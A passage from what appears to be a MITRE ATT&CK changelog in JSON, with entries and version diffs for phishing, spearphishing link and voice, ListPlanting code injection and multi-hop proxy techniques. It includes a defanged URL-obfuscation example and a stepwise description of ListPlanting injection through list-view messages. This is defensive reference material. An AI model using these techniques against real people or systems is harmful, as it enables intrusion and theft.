t1Adversaries may send phishing messages to gain access to vict1Adversaries may send phishing messages to gain access to vic
>tim systems. All forms of phishing are electronically delive>tim systems. All forms of phishing are electronically delive
>red social engineering. Phishing can be targeted, known as s>red social engineering. Phishing can be targeted, known as s
>pearphishing. In spearphishing, a specific individual, compa>pearphishing. In spearphishing, a specific individual, compa
>ny, or industry will be targeted by the adversary. More gene>ny, or industry will be targeted by the adversary. More gene
>rally, adversaries can conduct non-targeted phishing, such a>rally, adversaries can conduct non-targeted phishing, such a
>s in mass malware spam campaigns.  Adversaries may send vict>s in mass malware spam campaigns.  Adversaries may send vict
>ims emails containing malicious attachments or links, typica>ims emails containing malicious attachments or links, typica
>lly to execute malicious code on victim systems. Phishing ma>lly to execute malicious code on victim systems. Phishing ma
>y also be conducted via third-party services, like social me>y also be conducted via third-party services, like social me
>dia platforms. Phishing may also involve social engineering >dia platforms. Phishing may also involve social engineering 
>techniques, such as posing as a trusted source, as well as e>techniques, such as posing as a trusted source, as well as e
>vasive techniques such as removing or manipulating emails or>vasive techniques such as removing or manipulating emails or
> metadata/headers from compromised accounts being abused to > metadata/headers from compromised accounts being abused to 
>send messages (e.g., [Email Hiding Rules](https://attack.mit>send messages (e.g., [Email Hiding Rules](https://attack.mit
>re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa>re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa
>m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An>m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An
>other way to accomplish this is by forging or spoofing(Citat>other way to accomplish this is by forging or spoofing(Citat
>ion: Proofpoint-spoof) the identity of the sender which can >ion: Proofpoint-spoof) the identity of the sender which can 
>be used to fool both the human recipient as well as automate>be used to fool both the human recipient as well as automate
>d security tools.(Citation: cyberproof-double-bounce)   Vict>d security tools,(Citation: cyberproof-double-bounce) or by 
>ims may also receive phishing messages that instruct them to>including the intended target as a party to an existing emai
> call a phone number where they are directed to visit a mali>l thread that includes malicious files or links (i.e., \"thre
>cious URL, download malware,(Citation: sygnia Luna Month)(Ci>ad hijacking\").(Citation: phishing-krebs)  Victims may also 
>tation: CISA Remote Monitoring and Management Software) or i>receive phishing messages that instruct them to call a phone
>nstall adversary-accessible remote management tools onto the> number where they are directed to visit a malicious URL, do
>ir computer (i.e., [User Execution](https://attack.mitre.org>wnload malware,(Citation: sygnia Luna Month)(Citation: CISA 
>/techniques/T1204)).(Citation: Unit42 Luna Moth)>Remote Monitoring and Management Software) or install advers
 >ary-accessible remote management tools onto their computer (
 >i.e., [User Execution](https://attack.mitre.org/techniques/T
 >1204)).(Citation: Unit42 Luna Moth)
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1047: Audit", + "M1049: Antivirus/Antimalware", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:15:44.182000+00:00", + "modified": "2024-10-15 16:06:32.591000+00:00", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \u201cconsent phishing\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/002", + "external_id": "T1566.002" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "CISA IDN ST05-016", + "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", + "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016" + }, + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + }, + { + "source_name": "Netskope Device Code Phishing 2021", + "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.", + "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1" + }, + { + "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021", + "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Mandiant URL Obfuscation 2023", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + }, + { + "source_name": "Optiv Device Code Phishing 2021", + "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.", + "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing" + }, + { + "source_name": "SecureWorks Device Code Phishing 2021", + "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.", + "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Kobi Haimovich, CardinalOps", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "2.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:06:32.591000+00:00\", \"old_value\": \"2024-04-15 23:51:25.037000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.7\", \"old_value\": \"2.6\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "2.6", + "version_change": "2.6 \u2192 2.7", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-07 21:50:08.827000+00:00", + "modified": "2024-10-15 16:06:47.134000+00:00", + "name": "Spearphishing Voice", + "description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/004", + "external_id": "T1566.004" + }, + { + "source_name": "CISA Remote Monitoring and Management Software", + "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a" + }, + { + "source_name": "Unit42 Luna Moth", + "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", + "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/" + }, + { + "source_name": "sygnia Luna Month", + "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", + "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams" + }, + { + "source_name": "Proofpoint Vishing", + "description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/vishing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Identity Provider" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:06:47.134000+00:00\", \"old_value\": \"2023-10-15 11:49:40.990000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"SaaS\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-11-22 15:02:15.190000+00:00", + "modified": "2024-08-14 17:34:33.948000+00:00", + "name": "ListPlanting", + "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1055/015", + "external_id": "T1055.015" + }, + { + "source_name": "Hexacorn Listplanting", + "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.", + "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/" + }, + { + "source_name": "ESET InvisiMole June 2020", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" + }, + { + "source_name": "Microsoft List View Controls", + "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.", + "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview" + }, + { + "source_name": "Modexp Windows Process Injection", + "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.", + "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET" + ], + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-14 17:34:33.948000+00:00\", \"old_value\": \"2022-03-08 20:59:20.762000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\", \"old_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n+Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n \\n List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Hexacorn Listplanting\", \"description\": \"Hexacorn. (2019, April 25). Listplanting \\u2013 yet another code injection trick. Retrieved August 14, 2024.\", \"url\": \"https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse list-view controls to inject malicioust1Adversaries may abuse list-view controls to inject malicious
> code into hijacked processes in order to evade process-base> code into hijacked processes in order to evade process-base
>d defenses as well as possibly elevate privileges. ListPlant>d defenses as well as possibly elevate privileges. ListPlant
>ing is a method of executing arbitrary code in the address s>ing is a method of executing arbitrary code in the address s
>pace of a separate live process. Code executed via ListPlant>pace of a separate live process.(Citation: Hexacorn Listplan
>ing may also evade detection from security products since th>ting) Code executed via ListPlanting may also evade detectio
>e execution is masked under a legitimate process.  List-view>n from security products since the execution is masked under
> controls are user interface windows used to display collect> a legitimate process.  List-view controls are user interfac
>ions of items.(Citation: Microsoft List View Controls) Infor>e windows used to display collections of items.(Citation: Mi
>mation about an application's list-view settings are stored >crosoft List View Controls) Information about an application
>within the process' memory in a <code>SysListView32</code> c>'s list-view settings are stored within the process' memory 
>ontrol.  ListPlanting (a form of message-passing \"shatter at>in a <code>SysListView32</code> control.  ListPlanting (a fo
>tack\") may be performed by copying code into the virtual add>rm of message-passing \"shatter attack\") may be performed by 
>ress space of a process that uses a list-view control then u>copying code into the virtual address space of a process tha
>sing that code as a custom callback for sorting the listed i>t uses a list-view control then using that code as a custom 
>tems.(Citation: Modexp Windows Process Injection) Adversarie>callback for sorting the listed items.(Citation: Modexp Wind
>s must first copy code into the target process\u2019 memory space>ows Process Injection) Adversaries must first copy code into
>, which can be performed various ways including by directly > the target process\u2019 memory space, which can be performed va
>obtaining a handle to the <code>SysListView32</code> child o>rious ways including by directly obtaining a handle to the <
>f the victim process window (via Windows API calls such as <>code>SysListView32</code> child of the victim process window
>code>FindWindow</code> and/or <code>EnumWindows</code>) or o> (via Windows API calls such as <code>FindWindow</code> and/
>ther [Process Injection](https://attack.mitre.org/techniques>or <code>EnumWindows</code>) or other [Process Injection](ht
>/T1055) methods.  Some variations of ListPlanting may alloca>tps://attack.mitre.org/techniques/T1055) methods.  Some vari
>te memory in the target process but then use window messages>ations of ListPlanting may allocate memory in the target pro
> to copy the payload, to avoid the use of the highly monitor>cess but then use window messages to copy the payload, to av
>ed <code>WriteProcessMemory</code> function. For example, an>oid the use of the highly monitored <code>WriteProcessMemory
> adversary can use the <code>PostMessage</code> and/or <code></code> function. For example, an adversary can use the <cod
>>SendMessage</code> API functions to send <code>LVM_SETITEMP>e>PostMessage</code> and/or <code>SendMessage</code> API fun
>OSITION</code> and <code>LVM_GETITEMPOSITION</code> messages>ctions to send <code>LVM_SETITEMPOSITION</code> and <code>LV
>, effectively copying a payload 2 bytes at a time to the all>M_GETITEMPOSITION</code> messages, effectively copying a pay
>ocated memory.(Citation: ESET InvisiMole June 2020)   Finall>load 2 bytes at a time to the allocated memory.(Citation: ES
>y, the payload is triggered by sending the <code>LVM_SORTITE>ET InvisiMole June 2020)   Finally, the payload is triggered
>MS</code> message to the <code>SysListView32</code> child of> by sending the <code>LVM_SORTITEMS</code> message to the <c
> the process window, with the payload within the newly alloc>ode>SysListView32</code> child of the process window, with t
>ated buffer passed and executed as the <code>ListView_SortIt>he payload within the newly allocated buffer passed and exec
>ems</code> callback.>uted as the <code>ListView_SortItems</code> callback.
", + "changelog_mitigations": { + "shared": [ + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 23:23:41.770000+00:00", + "modified": "2024-09-25 20:48:24.411000+00:00", + "name": "Multi-hop Proxy", + "description": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks \u2013 such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network \u2013 to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant) \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1090/003", + "external_id": "T1090.003" + }, + { + "source_name": "ORB Mandiant", + "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" + }, + { + "source_name": "NGLite Trojan", + "description": "Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite 